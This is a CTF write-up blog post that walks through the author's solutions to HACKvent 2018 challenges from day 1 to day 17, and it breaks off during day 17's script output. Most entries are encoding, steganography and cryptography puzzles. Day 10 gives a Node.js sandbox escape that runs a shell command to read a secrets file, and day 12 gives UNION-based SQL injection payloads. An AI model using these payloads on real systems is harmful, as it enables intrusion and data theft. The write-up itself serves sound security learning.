Like every year, Christmas time means hacking time! I started the HACKvent journey in 2016 and it already became some sort of tradition. As usual I invested a lot and it was a very stressful time. I would like to thank my family and friends for the patience and the support they brought up. Especially to my wife! 🙂
I also want to thank all of you who participated in discussions and helped finding solutions. It is always a great pleasure to talk to you guys! Big shouts to
otaku, pjslf, veganjay, ludus, rfz, jokker, 0xI, 0x90v1! I hope I didn’t forget anyone!!7
HACKvent was great like every year and I would also like to thank Compass Security for organizing it! There were some hick-ups this year and I preferred the 2017 edition most so far. The difficulty was not as hard as last year and the variety and content of the challenges was better in 2017. I also think ten teaser challenges, some of them really hard, which counted to the main score was too much.
And then there was muffinCTF! I love the idea behind it and when it was finally working it was definitely an amazing part of HACKvent. The implementation was not very stable and it didn’t seem finished when it was launched though. MuffinCTF got postponed from day 16 to day 22 and then still buggy. I (We?) lost a lot of time because of this. I understand providing challenges for HACKvent is voluntary and takes a lot of time, probably next to another day job. Thanks for all the effort muffinx! The attack-defense CTF was great but with a bit more testing and maybe support from others, this challenge could have been so much more. Maybe this should be a new, separate hacking-lab event? Yearly summer Attack-Defense CTF FTW!
Lets get to the scoreboard: With all the support I mentioned in the beginning I managed to finish this year as perfect solver! 🙂
Day 01: Just Another Bar Code (Author: DanMcFly)
Description:
After a decade of monochromity, Santa has finally updated his infrastructure with color displays. With the new color code, the gift logistic robots can now handle many more gifts:
Solution:
This was the first challenge of HACKvent and I almost got pulled inside a rabbit hole. I was already reading research papers from Stanford University when I told myself to go back to the start.
After googling for the titiel “Just Another Bar Code” I found this website on the website of the BSI: https://jabcode.org/.
–> HV18-L3ts-5t4r-7Th3-Phun-G33k
Day 02: Me (Author: M.G.)
Lost in translation
Description:
Can you help Santa decoding these numbers?
115 112 122 127 113 132 124 110 107 106 124 124 105 111 104 105 115 126 124 103 101 131 124 104 116 111 121 107 103 131 124 104 115 122 123 127 115 132 132 122 115 64 132 103 101 132 132 122 115 64 132 103 101 131 114 113 116 121 121 107 103 131 124 104 115 122 123 127 115 63 112 101 115 106 125 127 131 111 104 103 115 116 123 127 115 132 132 122 115 64 132 103 101 132 132 122 115 64 132 103 101 131 114 103 115 116 123 107 113 111 104 102 115 122 126 107 127 111 104 103 115 116 126 103 101 132 114 107 115 64 131 127 125 63 112 101 115 64 131 127 117 115 122 101 115 106 122 107 107 132 104 106 105 102 123 127 115 132 132 122 116 112 127 123 101 131 114 104 115 122 124 124 105 62 102 101 115 106 122 107 107 132 104 112 116 121 121 107 117 115 114 110 107 111 121 107 103 131 63 105 115 126 124 107 117 115 122 101 115 106 122 107 113 132 124 110 107 106 124 124 105 111 104 102 115 122 123 127 115 132 132 122 115 64 132 103 101 131 114 103 115 116 123 107 117 115 124 112 116 121 121 107 117 115 114 110 107 111 121 107 103 131 63 105 115 126 124 107 117 115 122 101 115 106 122 107 107 132 104 106 105 102 121 127 105 132 114 107 115 64 131 127 117 115 122 101 115 112 122 127 111 132 114 107 105 101 75 75 75 75 75 75
Solution:
This looked like a simple decimal to ASCII conversion, but unfortunately it wasn’t. Several different decodings had to be done to find the right flag:
Step 1 (Octal to ASCII):
https://www.browserling.com/tools/octal-to-text
MJRWKZTHGFTTEIDEMVTCAYTDNIQGCYTDMRSWMZZRM4ZCAZZRM4ZCAYLKNQQGCYTDMRSWM3JAMFUWYIDCMNSWMZZRM4ZCAZZRM4ZCAYLCMNSGKIDBMRVGWIDCMNVCAZLGM4YWU3JAM4YWOMRAMFRGGZDFEBSWMZZRNJWSAYLDMRTTE2BAMFRGGZDJNQQGOMLHGIQGCY3EMVTGOMRAMFRGKZTHGFTTEIDBMRSWMZZRM4ZCAYLCMNSGOMTJNQQGOMLHGIQGCY3EMVTGOMRAMFRGGZDFEBQWEZLGM4YWOMRAMJRWIZLGEA======
Step 2 (Base32 decode):
https://www.dcode.fr/base-32-encoding
bcefg1g2 def bcj abcdefg1g2 g1g2 ajl abcdefm ail bcefg1g2 g1g2 abcde adjk bcj efg1jm g1g2 abcde efg1jm acdg2h abcdil g1g2 acdefg2 abefg1g2 adefg1g2 abcdg2il g1g2 acdefg2 abcde abefg1g2 bcdef
Step 3 (LED 14 Segment Display):
The third step was actually pretty hard to find, I stumbled across a corresponding image by pure luck..
https://github.com/dmadison/LED-Segment-ASCII#segment-order http://kryptografie.de/kryptografie/chiffre/14-segment.htm
–> HL18-7QTH-JZ1K-JKSD-GPEB-GJPU
Day 03: Catch me (Author: inik)
… if you can
Description:
To get the flag, just press the button.
https://hackvent.hacking-lab.com/C4tchM3_dizzle/
Print-screen of the website:
Solution:
On the linked website there was a button named “get the flag” which jumped away from the cursor if you wanted to select it with your mouse. This challenge was very easy to solve:
1. Inspect in Google Chrome
2. Set a watch on the variable “_0x766f”
3. Read out the flag from the watch.
–> HV18-pFAT-O1Dl-HjVp-jJNE-Zju8
Day 04: pirating like in the 90ies (Author:HaRdLoCk)
Ahoy, my name is Santa and I want to be a pirate!
Description:
https://hackvent.hacking-lab.com/Pirates_123/
Print-screen of the website:
Solution:
Once again rabbit hole alarm! According to the description I was sure it had to be something related to Monkey Island. After googling for Monkey Island and 3 of the names appearing on the challenge website I found this image, which looked really promising:
Searching a bit further I have found this awesome website: http://www.oldgames.sk/codewheel/secret-of-monkey-island-dial-a-pirate. Some manual work had to be done to enter the right years. After filling up all the boxes the flag could be collected!
—> HV18-5o9x-4geL-7hkJ-wc4A-xp8F
Day 05: OSINT 1 (Author: DanMcFly featuring the awesome R.R.)
It’s all about transparency
Description:
Santa has hidden your daily present on his server, somewhere on port 443.
Start on https://www.hackvent.org and follow the OSINT traces.
Solution:
Very cool challenge, I even learned something new! The hint says something about certificate transparency. Therefore I made some research and did read about certificate transparency on http://www.certificate-transparency.org/what-is-ct. There is an open log for everyone to inspect:
https://transparencyreport.google.com/
This revealed an unknown subdomain which led to the flag: osintiscoolisntit.hackvent.org
–> HV18-0Sin-tI5S-R34l-lyC0-oo0L
Day 06: Mondrian (Author: xorkiwi)
Description:
Piet’er just opened his gallery to present his pieces to you, they’d make for a great present 🙂
https://hackvent.hacking-lab.com/Mondrian-Gallery/
Print-screen of the website:
Solution:
Another challenge which has to be solved by googling the right things…
- The Painters name looks suspicious. But googling for Mondrian didn’t result in something tangible.
- I analyzed the website, there are some hex encoded strings and debug logs. But apparently this is a trap and a wrong path.
- Suspicious is that we have 6 pictures. Like the format of the flag..
- Started researching the author and found the “Piet programming language” and this little nice decoder: https://www.bertnase.de/npiet/npiet-execute.ph
–> HV18-M4ke-S0m3-R3Al-N1c3-artZ
Day 07: flappy.pl (Author: M.)
Description:
Time for a little game. It’s hardy obfuscated, i promise … 😉
https://sigterm.ch/stuff/hackvent18/flappy.pl.txt
Solution:
1. Deobfuscate the perl script:
$ perl -MO=Deparse -l ./flappy.pl
2. Go through the source code and remove all the “last” in the loop.
3. Remove print elements which are not needed.
BEGIN { $/ = "\n"; $\ = "\n"; } use Term::ReadKey; sub k { ReadKey(-1); } ReadMode(3); sub rk { $Q = ''; $Q .= $QQ while $QQ = k(); $Q; } $| = 1; print "\ec\e[0;0r\e[4242;1H\e[6n\e[1;1H"; $p .= $c until ($c = k()) eq 'R'; $x = 75; $dx = 3; $yy -= 10 if ($yy) = $p =~ /(\d+);/; print(("\r\n\e[40m\e[37m# #") x 100); $r = sub { $M = shift(); sub { $M = $M * 1103515245 + 12345 & 2147483647; $M % (shift()); } ; } ->(42); $s = sub { select $HV18, $faLL, $D33p, shift(); } ; $INT0 ? $H3ll : $PERL; @HASH = unpack('C*', "st\f\cR8vRHq\cEWSFb\cNlUe^\eKkoT\cZk-ru"); foreach $i (0 .. 666) { &$s(0.1); print "\e[40;91m\e[$yy;${x}H."; $dx += int(rk() =~ / /g) * 2 - 1; $dx = $dx > 3 ? 3 : ($dx < -3 ? -3 : $dx); $x += $dx; # last unless $x > 1 and $x < 80; $h = 20 + &$r(42) and print "\e[4242;1H\n\e[40m\e[37m#" . chr($HASH[$i / 23] ^ $h) x ($h - 5) . ' ' . chr($HASH[$i / 23] ^ $h) x (73 - $h) . '#' unless $i % 23 and print "\e[4242;1H\n\e[40m\e[37m# ";($i + 13) % 23 ? '???' : abs $x - $h < 6 ;#|| (last); #print "\e[$yy;${x}H\e[41m\e[37m\@"; } ReadMode(1);
4. Run and profit
–> HV18-bMnF-racH-XdMC-xSJJ-I2fL
Day 08: Advent Snail (Author: otaku)
Description:
In cyberstan there is a big tradition to backe advents snails during advent.
Solution:
It is needed to “de-snail” this picture. We start in the middle and do a spiral until we get to the end. To know in which direction we have to do the spiral, we can count the black pixels. We need to start with 7 consecutive black pixels to get a valid QR code! First of all I cut out the middle of the image and created a grid in GIMP to orientate myself.
We have an image with 25×25 blocks. I figured out that we start in the middle at pixel (13×13) and had to go up and do the spiral to the right. I solved this challenge in Python. Here is my complete script, which creates the solution picture, but also directly decodes the QR Code itself.
from PIL import Image import qrtools BLOCKLEN = 20 # 25 fields * 20px = 500px FIELD_OFFSET = 10 # mid of the field (We want to read the color inside the field) FIELD_OFFSET_X = 12 # Position 0 is actually 13 FIELD_OFFSET_Y = 12 # Position 0 is actually 13 x = (FIELD_OFFSET_X * BLOCKLEN) + FIELD_OFFSET y = (FIELD_OFFSET_Y * BLOCKLEN) + FIELD_OFFSET lastx = 1 lasty = -1 color_array = [] img = Image.open("middle.jpeg") pix = img.load() # Start logic print("[+] First Coordinates x/y: " + str(x) + "/" + str(y) + "--> RGB: " + str(pix[x, y])) color_array.append(pix[x,y]) for i in range(1, 30): # I was lazy # I just go through the pixels until I get an exception because I hit the borders.. :D try: # Move Y for j in range(1, i): if (lasty < 0): y += 1 * BLOCKLEN else: y -= 1 * BLOCKLEN print("[+] New Coordinates x/y: " + str(x) + "/" + str(y) + "--> RGB: " + str(pix[x, y])) color_array.append(pix[x,y]) # Move X for j in range(1, i): if (lastx < 0): x += 1 * BLOCKLEN else: x -= 1 * BLOCKLEN print("[+] New Coordinates x/y: " + str(x) + "/" + str(y) + "--> RGB: " + str(pix[x, y])) color_array.append(pix[x,y]) lastx *= -1 lasty *= -1 except: print("[+] Enumareted all the fields:\nFound " + str(len(color_array)) + " items.\n") img.close() break # Create new image and save it imgnew = Image.new('RGB', (25,25)) pixnew = imgnew.load() for i,x in enumerate(color_array): pixnew[i/25, i%25] = x # Resisze imgnew = imgnew.resize((100,100), Image.ANTIALIAS) imgnew.save('solution.png') # Read the QR code from python qr = qrtools.QR() qr.decode("solution.png") print("[+] Decoded QR Code:") print("--> " + qr.data) imgnew.close()
$ python sol.py [+] First Coordinates x/y: 250/250--> RGB: (0, 0, 0) [+] New Coordinates x/y: 250/230--> RGB: (0, 0, 0) [+] New Coordinates x/y: 270/230--> RGB: (0, 0, 0) [+] New Coordinates x/y: 270/250--> RGB: (0, 0, 0) [+] New Coordinates x/y: 270/270--> RGB: (0, 0, 0) [+] New Coordinates x/y: 250/270--> RGB: (0, 0, 0) [+] New Coordinates x/y: 230/270--> RGB: (0, 0, 0) [+] New Coordinates x/y: 230/250--> RGB: (255, 255, 255) [+] New Coordinates x/y: 230/230--> RGB: (255, 255, 255) [+] New Coordinates x/y: 230/210--> RGB: (0, 0, 0) ... [+] New Coordinates x/y: 10/130--> RGB: (0, 0, 0) [+] New Coordinates x/y: 10/110--> RGB: (255, 255, 255) [+] New Coordinates x/y: 10/90--> RGB: (0, 0, 0) [+] New Coordinates x/y: 10/70--> RGB: (255, 255, 255) [+] New Coordinates x/y: 10/50--> RGB: (255, 255, 255) [+] New Coordinates x/y: 10/30--> RGB: (0, 0, 0) [+] New Coordinates x/y: 10/10--> RGB: (0, 0, 0) [+] Enumareted all the fields: Found 625 items. [+] Decoded QR Code: --> HV18-$$nn-@@11-LLr0-B1ne
–> HV18-$$nn-@@11-LLr0-B1ne
Day 09: fake xmass balls (Author: M.)
Description:
A rogue manufacturer is flooding the market with counterfeit yellow xmas balls.They are popping up like everywhere!
Can you tell them apart from the real ones? Perhaps there is some useful information hidden in the fakes…
Solution:
There are two Xmas balls on the page. The one which indicates that it is a medium challenge and the second one in the challenge description itself. It is necessary to download both images. This very much smells like steganography and I am very happy that I already know Stegsolve from challenges of previous years. 🙂 You can download stegsolve from this website: http://www.caesum.com/handbook/stego.htm
I opened one image and played a bit with Stegsolve. I came across the Image Combiner in the menu Analyse, where I opened the second xmas ball I got.
SUB RGB looked almost like a QR Code! But it was not readable yet.
I saved this new image and reopened that with Stegsolve. Now I was able to find the final QR Code when changing to “Green Plane 0” in Stegsolve.
–> HV18-PpTR-Qri5-3nOI-n51a-42gJ
Day 10: >_ Run, Node, Run (Author: zanidd)
Description:
Santa has practiced his nodejs skills and wants his little elves to practice it as well, so the kids can get the web- app they wish for.
He made a little practice- sandbox for his elves. Can you break out?
Location: http://whale.hacking-lab.com:3000/
Print-screen of the website:
And the corresponding source code:
const {flag, port} = require("./config.json"); const sandbox = require("sandbox"); const app = require("express")(); app.use(require('body-parser').urlencoded({ extended: false })); app.get("/", (req, res) => res.sendFile(__dirname+"/index.html")); app.get("/code", (req, res) => res.sendFile(__filename)); app.post("/run", (req, res) => { if (!req.body.run) { res.json({success: false, result: "No code provided"}); return; } let boiler = "const flag_" + require("randomstring").generate(64) + "=\"" + flag + "\";\n"; new sandbox().run(boiler + req.body.run, (out) => res.json({success: true, result: out.result})); }); app.listen(port);
Solution:
Sandbox Escape already sounds a lot like command injection. After reading a bit about the used libraries I found an interesting issue in the sandbox, which basically says that the sandbox can be broken: https://github.com/gf3/sandbox/issues/50
new Function("return (this.constructor.constructor('return(this.process.mainModule.constructor._load)')())")()("child_process").execSync('cat config.json')
Which returns the following output:
{ "flag":"HV18-YtH3-S4nD-bx5A-Nt4G", "port":3000 }
–> HV18-YtH3-S4nD-bx5A-Nt4G
Day 11: Crypt-o-Math 3.0 (Author: Lukasz_D)
Description:
Last year’s challenge was too easy? Try to solve this one, you h4x0r!
c = (a * b) % p c=0x7E65D68F84862CEA3FCC15B966767CCAED530B87FC4061517A1497A03D2 p=0xDD8E05FF296C792D2855DB6B5331AF9D112876B41D43F73CEF3AC7425F9 b=0x7BBE3A50F28B2BA511A860A0A32AD71D4B5B93A8AE295E83350E68B57E5
finding “a” will give you the flag.
Solution:
I was very glad that I did the math for this challenge already last year. 🙂 The only special part was, that multiple “a” exist and the first one does reveal “HV18-” but the rest is not readable. To find the right “a” we take the calculated “a” and add “p” to it until we get the right flag:
import gmpy2 import string c=0x7E65D68F84862CEA3FCC15B966767CCAED530B87FC4061517A1497A03D2L p=0xDD8E05FF296C792D2855DB6B5331AF9D112876B41D43F73CEF3AC7425F9L b=0x7BBE3A50F28B2BA511A860A0A32AD71D4B5B93A8AE295E83350E68B57E5L ''' sigterm.ch/2018/01/01/hackvent-2017-write-up/#Day_11_Crypt-o-Math_20_Author_HaRdLoCk c = (a * b) % p --> c = ((a+p) * b) % p ''' inv = gmpy2.invert(b,p) a = c * inv % p while True: a = (a + p) x = (a * b) % p # Check if string starts with HV18 if hex(a).startswith("0x485631"): print("[+] Found the flag!") a_str = hex(a).lstrip("0x") print(str(a_str).decode("hex")) break
The script returns this output:
[+] Found the flag! HV18-xLvY-TeNT-YgEh-wBuL-bFfz
Fun fact: You have to add 1337 times the value “p” to “a” to get the right result! Nice job Lukasz_D! I almost didn’t get that because of the automated script, thanks ludus for pointing it out.
–> HV18-xLvY-TeNT-YgEh-wBuL-bFfz
Day 12: SmartWishList (Authors: xorkiwi featuring avarx and muffinx)
Description:
Santa’s being really innovative this year! Send your wishes directly over your favorite messenger (telegram): @smartwishlist_bot
Hint(s):
– How does the bot differentiate your wishes from other people?
Solution:
I liked this challenge a lot, very innovative! It was clear very soon that it had to be some kind of SQL injection. If I submitted long wishes the Telegram bot returned a mysql error. After a while I found that the vulnerable method was the name of the user, which is the name configured in the personal Telegram account.
First step was to gather information about the database. To achieve that I altered my first and last name accordingly:
First Name: aa' union select 1,table_name from information_schema.tables
Last Name: Where '1'='1
Which returned this output:
1 - CHARACTER_SETS 1 - COLLATIONS 1 - COLLATION_CHARACTER_SET_APPLICABILITY 1 - COLUMNS 1 - COLUMN_PRIVILEGES 1 - ENGINES 1 - EVENTS 1 - FILES 1 - GLOBAL_STATUS 1 - GLOBAL_VARIABLES 1 - KEY_COLUMN_USAGE 1 - OPTIMIZER_TRACE 1 - PARAMETERS 1 - PARTITIONS 1 - PLUGINS 1 - PROCESSLIST 1 - PROFILING 1 - REFERENTIAL_CONSTRAINTS 1 - ROUTINES 1 - SCHEMATA 1 - SCHEMA_PRIVILEGES 1 - SESSION_STATUS 1 - SESSION_VARIABLES 1 - STATISTICS 1 - TABLES 1 - TABLESPACES 1 - TABLE_CONSTRAINTS 1 - TABLE_PRIVILEGES 1 - TRIGGERS 1 - USER_PRIVILEGES 1 - VIEWS 1 - INNODB_LOCKS 1 - INNODB_TRX 1 - INNODB_SYS_DATAFILES 1 - INNODB_FT_CONFIG 1 - INNODB_SYS_VIRTUAL 1 - INNODB_CMP 1 - INNODB_FT_BEING_DELETED 1 - INNODB_CMP_RESET 1 - INNODB_CMP_PER_INDEX 1 - INNODB_CMPMEM_RESET 1 - INNODB_FT_DELETED 1 - INNODB_BUFFER_PAGE_LRU 1 - INNODB_LOCK_WAITS 1 - INNODB_TEMP_TABLE_INFO 1 - INNODB_SYS_INDEXES 1 - INNODB_SYS_TABLES 1 - INNODB_SYS_FIELDS 1 - INNODB_CMP_PER_INDEX_RESET 1 - INNODB_BUFFER_PAGE 1 - INNODB_FT_DEFAULT_STOPWORD 1 - INNODB_FT_INDEX_TABLE 1 - INNODB_FT_INDEX_CACHE 1 - INNODB_SYS_TABLESPACES 1 - INNODB_METRICS 1 - INNODB_SYS_FOREIGN_COLS 1 - INNODB_CMPMEM 1 - INNODB_BUFFER_POOL_STATS 1 - INNODB_SYS_COLUMNS 1 - INNODB_SYS_FOREIGN 1 - INNODB_SYS_TABLESTATS 1 - SecretStore 1 - User 1 - Wish
Now I knew that probably the interesting table is called “SecretStore”. To read out the columns in SecretStore I changed my name to this:
Firstname: 'union select 1,column_name from information_schema.columns Lastname: where table_name='SecretStore
The bot’s answer was:
1 - flag
I could also have guessed that! 🙂 The final SQL injection to read the flag was:
Firstname: 'union select 1,flag from SecretStore where 'a'='a
–> HV18-M4k3-S0m3-R34L-N1c3-W15h
Day 13: flappy’s revenge (Author: M.)
Description:
There were some rumors that you were cheating at our little game a few days ago … like godmode, huh?
Well, show me that you can do it again – no cheating this time.
Location: telnet whale.hacking-lab.com 4242
Solution:
According to the description and the output when connecting to the telnet server I concluded that the same script like on day 7 is running. But this time we could not just alter the code to get back the flag.
I thought about implementing a script which connects to the server and plays the game. But I had an hour train ride ahead and I just played the game! 😀 After around 40 minutes I was able to read the full flag.
$ telnet whale.hacking-lab.com 4242 | tee day13.log $ tail -n +5 day13.log | cut -c 12-12 | tr '\r\n' ' ' | sed 's/ //g' HV18-9hYf-LSY1-hWdZ-496n-Mbda
–> HV18-9hYf-LSY1-hWdZ-496n-Mbda
Day 14: power in the shell (Author: HaRdLoCk)
Description:
seems to be an easy one … or wait, what?
Encrypted flag:
2A4C9AA52257B56837369D5DD7019451C0EC04427EB95EB741D0273D55
Appended was this Powershell script:
. "$PSScriptRoot\flag.ps1" #thumbprint 1398ED7F59A62962D5A47DD0D32B71156DD6AF6B46BEA949976331B8E1 if ($PSVersionTable.PSVersion.Major -gt 2) { $m = [System.Numerics.BigInteger]::Parse($flag, 'AllowHexSpecifier'); $n = [System.Numerics.BigInteger]::Parse("0D8A7A45D9BE42BB3F03F710CF105628E8080F6105224612481908DC721", 'AllowHexSpecifier'); $c = [System.Numerics.BigInteger]::ModPow($m, 1+1, $n) write-host "encrypted flag:" $c.ToString("X"); }
Solution:
Interpreting the script revealed another math challenge… This was the equation to solve:
c = m^2 % n Which is the same as: 0x2A4C9AA52257B56837369D5DD7019451C0EC04427EB95EB741D0273D55 = m2 % 0x0D8A7A45D9BE42BB3F03F710CF105628E8080F6105224612481908DC721
At first I thought this is RSA and was reading about cube root attacks. But this revealed to be a rabbit hole. It is the Rabin Cryptosystem which uses exact this equation: https://en.wikipedia.org/wiki/Rabin_cryptosystem
After remembering http://www.factordb.com I was able to get the primes p & q out of n.
n = 5841003248923821029983205516125362074880976378154066185495120324708129 p = 73197682537506302133452713613304371 q = 79797652691134123797009598697137499
I was too lazy to implement the decryption algorithm by myself, therefore I used and modified this Java program: https://github.com/arxenix/Rabin
I directly added a main method into Rabin.java
public static void main(String[] args) { BigInteger q = new BigInteger("73197682537506302133452713613304371"); BigInteger p = new BigInteger("79797652691134123797009598697137499"); BigInteger c = new BigInteger("1140385111472943454874627320369403984972910918371637407390282283433301"); BigInteger[] m2 = Rabin.decrypt(c, p, q); for(BigInteger b:m2) { String dec = new String(b.toByteArray(), Charset.forName("ascii")); System.out.println(dec); } }
$ javac Rabin.java $ java Rabin HV18-DzKn-62Qz-dAab-fEou-ImjY
–> HV18-DzKn-62Qz-dAab-fEou-ImjY
Day 15: Watch Me (Author: HaRdLoCk)
Description:
Turn on your TV! Santa will broadcast todays flag on his member channel. Can you get it without subscription?
get it here!
Solution:
This was the day where the muffinCTF should have started. But it was not ready so they postponed it to day22. Instead we had to reverse an Apple TV binary.
First step was to extract the .ipa file as it is just an archive.
$ unzip HACKvent-2018_by_the_oneandonly_HaRdLoCk.ipa Archive: HACKvent-2018_by_the_oneandonly_HaRdLoCk.ipa creating: Payload/ creating: Payload/HACKvent-2018.app/ creating: Payload/HACKvent-2018.app/Base.lproj/ creating: Payload/HACKvent-2018.app/Base.lproj/Main.storyboardc/ inflating: Payload/HACKvent-2018.app/Base.lproj/Main.storyboardc/UIViewController-BYZ-38-t0r.nib inflating: Payload/HACKvent-2018.app/Base.lproj/Main.storyboardc/BYZ-38-t0r-view-8bC-Xf-vdC.nib inflating: Payload/HACKvent-2018.app/Base.lproj/Main.storyboardc/Info.plist inflating: Payload/HACKvent-2018.app/Assets.car inflating: Payload/HACKvent-2018.app/HACKvent-2018 inflating: Payload/HACKvent-2018.app/Info.plist extracting: Payload/HACKvent-2018.app/PkgInfo
The interesting file is “HACKvent-2018”. I analyzed this file with Hopper disassembler. The interesting part of the binary is in the function “decryptFlag”. Fortunately the pseudo code was pretty good and enough to decrypt the function.
Apparently the key is loaded and it is looped over every character. In the loop the value “0x3” is added to every character code. The altered key is used to decrypt the flag with AES.
The initial key is: “uQA-nM@=1wl\x1EbN!“
Ciphertext: “xQ34V+MHmhC8V88KyU66q0DE4QeOxAbp1EGy9tlpkLw=“
I created a small python script to generate the right key and decrypt the flag.
import base64 import hashlib from Crypto.Cipher import AES def decrypt(encrypted, passphrase): aes = AES.new(passphrase, AES.MODE_ECB) return aes.decrypt(base64.b64decode(encrypted)) key = "uQA\-nM@=1wl\x1EbN!" ciphertext = "xQ34V+MHmhC8V88KyU66q0DE4QeOxAbp1EGy9tlpkLw=" key2 = "" for x in key: key2 += chr(ord(x)+3) print("[+] Calculated the key: " + key2) decrypted_msg = decrypt(ciphertext, key2) print("[+] Decrypted message: " + str(decrypted_msg))
Running the script…
$ python2 sol.py [+] Calculated the key: xTD_0qPC@4zo!eQ$ [+] Decrypted message: HV18-Nc7c-VdEh-pCek-Bw08-jpM3
–> HV18-Nc7c-VdEh-pCek-Bw08-jpM3
Day 16: Pay 100 Bitcoins (Author: inik)
… or find the flag
Description:
It changed the host. Fortunately it doesn’t do the full job … so there’s hope. Get the things straight again and find the flag.
The OS is encrypted, but you know the key: IWillNeverGetAVirus
Download the image here: local
Solution:
In my opinion the parts in this challenge were not connected very well. The consistency was somehow missing..
When starting the OVA file in Virtualbox a Petya ransomware screen was presented.
If we look close at the personal decryption code we can read “To restore your data only xor and move blocks”. But I didn’t know what to do with this hint and also did not use it in the end.. The rest of the challenge was not connected to Petya at all.
I started a Linux live CD and mounted the encrypted disk. The password is “IWillNeverGetAVirus”. The mounting part was the one which actually took me the longest. The problem was that the ext4 Journal was broken and therefore mounting didn’t work as straight forward as it should have been.
Now I had access to the encrypted partition and it was only about finding the flag. I browsed the usual directories “/home”, “/root”. In root there is an interesting file “.ash_history”. Apparently renamed “.bash_history”. If we look at the file, we see that the file “/etc/motd” was edited. Inside motd we find the flag.
# mkdir /mnt/tmp # cryptsetup luksOpen /dev/sda2 tmp # vgscan # vgchange -ay vg0 # lvs # mount /dev/mapper/vg0-root /mnt/tmp --> Didn't work, because apparently the EXT4 journal is broken # mount -o ro,noload /dev/mapper/vg0-root /mnt/tmp --> Works # cat /mnt/tmp/root/.ash_history update-extlinux exit pwd update-extlinux cd /boot ls df -h exit vi /etc/motd reboot shutdown halt # cat ../etc/motd Congratulation, you did it! o______ |\\-//| |//-\\| |~~~~~~ | | | Your flag is HV18-622q-gxxe-CGni-X4fT-wQKw
–> HV18-622q-gxxe-CGni-X4fT-wQKw
Day 17: Faster KEy Exchange (Author: pyth0n33)
Description:
You were somehow able to intercept Santa’s traffic.
But it’s encrypted. Fortunately, you also intercepted the key exchange and figured out what software he was using…..
a = 17577019968135092891915317246036083578063875217491307011102321322815719709605741738459191569497548099944025771002530369133716621942963853230082186943938164591230020725702755002287589522851172217336150522367152517270250629688405924844750026155547199020780202996200555426652190631837288299999083335649923708175859594750237448640513280683859296367607523542293538555215282798100455110266565881599829107971869244773384413618546118850868579583095489023778055976570366853411496753062216229293710557686212314300848121614558806328788578096144576605248971916454783615989429937555579437307320472405217413938048149254574677430624 b = 15228628318558071728245462802366236848375416102820239825350329247148900182647243994904519787528142824353837070194785550898962097219309344881183948914850354340893035399529028331238911753358245357848436203268982345430735846016484221944423499956958406189854969330305125479065873712331269870135028162018087451460656203085824963123310757985362748654204595136594184636862693563510767025800252822776154986386637346156842972134635578534633722315375292616298410141343725683471387328655106920310236007034951004329720717533666052625540760911360823548318810161367913281234234193760867208897459774865037319252137821553407707977377 message = jqMYIn4fzSqzIXArwJm/kPitNhf4lwhL0yPRKpF+NYXyPmhoEwNG/k2L5vCZqFWNPvTzisnu93/8uK/PZnnCGg==
Download the server source code here: https://sigterm.ch/stuff/hackvent18/FasterKeyExchange.py
Solution:
Maths again, yay… I wrote a python script to calculate the missing pieces and reveal the flag.
import gmpy2 import base64 import hashlib from Crypto.Cipher import AES g = 3 p = 0x00e1a540d72bb311db26ea6e58b7dc207cf55d0c3a90d7c1f74e7fcb67c7af097d99c73e002c9266e70cbdf735ebd864ea279a0a4d41dd6537837bfc07d84943a376d163ec20a51dd6073dbfc34cbdce9d88ad22a9bb72f5bb143b5c9e531ab100590b9f97d1e9c7a3dfe7961fd6e86078ad43918b47816925803db47862e5f69c90078c6dc287fc6cf7742a9f1717d828a610fe469c92f34783351b21ac1ec988eae0e16ff4ef89c1a19ccd7e3b5cb0c14e0424dfde338789923013aeb7791e19ba378cb2e0e0b318f46865d438ac53999f69f0ae8045d2ff40821b5fdcb0a3b9942f29a0cd8e55febd0ee9006d936d51335a2e63b6affbed6175e1228a53d6a9 a = 17577019968135092891915317246036083578063875217491307011102321322815719709605741738459191569497548099944025771002530369133716621942963853230082186943938164591230020725702755002287589522851172217336150522367152517270250629688405924844750026155547199020780202996200555426652190631837288299999083335649923708175859594750237448640513280683859296367607523542293538555215282798100455110266565881599829107971869244773384413618546118850868579583095489023778055976570366853411496753062216229293710557686212314300848121614558806328788578096144576605248971916454783615989429937555579437307320472405217413938048149254574677430624 b = 15228628318558071728245462802366236848375416102820239825350329247148900182647243994904519787528142824353837070194785550898962097219309344881183948914850354340893035399529028331238911753358245357848436203268982345430735846016484221944423499956958406189854969330305125479065873712331269870135028162018087451460656203085824963123310757985362748654204595136594184636862693563510767025800252822776154986386637346156842972134635578534633722315375292616298410141343725683471387328655106920310236007034951004329720717533666052625540760911360823548318810161367913281234234193760867208897459774865037319252137821553407707977377 msg = "jqMYIn4fzSqzIXArwJm/kPitNhf4lwhL0yPRKpF+NYXyPmhoEwNG/k2L5vCZqFWNPvTzisnu93/8uK/PZnnCGg==" def decrypt(encrypted, passphrase, iv): aes = AES.new(passphrase, AES.MODE_CBC, iv) return aes.decrypt(base64.b64decode(encrypted)) ### Formula ### ''' c = (a * b) % p inv = gmpy2.invert(b,p) a = c * inv % p y = g * x % p inv = inv(g,p) x = y * inv % p ''' inv = gmpy2.invert(g, p) # a == Server # b == Client # Calculation of X from the server x = b * inv % p print("[+] Calculated X: " + str(x)) # Now to calculate the key we have the y from the client (b) and calculate with the previously calculated x key = (a * x) % p print("[+] Calculated the key: " + hex(key)) key = str(key) iv = key[0:16] # Key is actually the md5 hash of the key key = hashlib.md5(bytes(key)).hexdigest() print("[+] md5sum of the Key: " + str(key) + ": " + str(len(key))) print("[+] IV: " + str(iv) + ": " + str(len(iv))) decrypted_msg = decrypt(msg, key, iv) print("[+] Decrypted the message: \n" + decrypted_msg)
If we run the script, we get the following output.
$ python2 server.py [+] Calculated X: 24066281471841800571785391299478932393606604631570747719234190833563831323048560489985104647740851387294266059806507646219897489674141253655728222160591002847957983699630014448631913189076240766350109997173680095635888387625106200180587983566458682601437961932612371802135600762799155170194781386585747251887401158863229430417558252072400106864882568430006279252355777977506184622958178013792194286509863103653264609433956534344554272368257606911851761413444759489601816170266965831595460319509425604754911108260324785453521517633762757918007607941187867884576199454899178918198735935303355242532437674933545947054417 [+] Calculated the key: 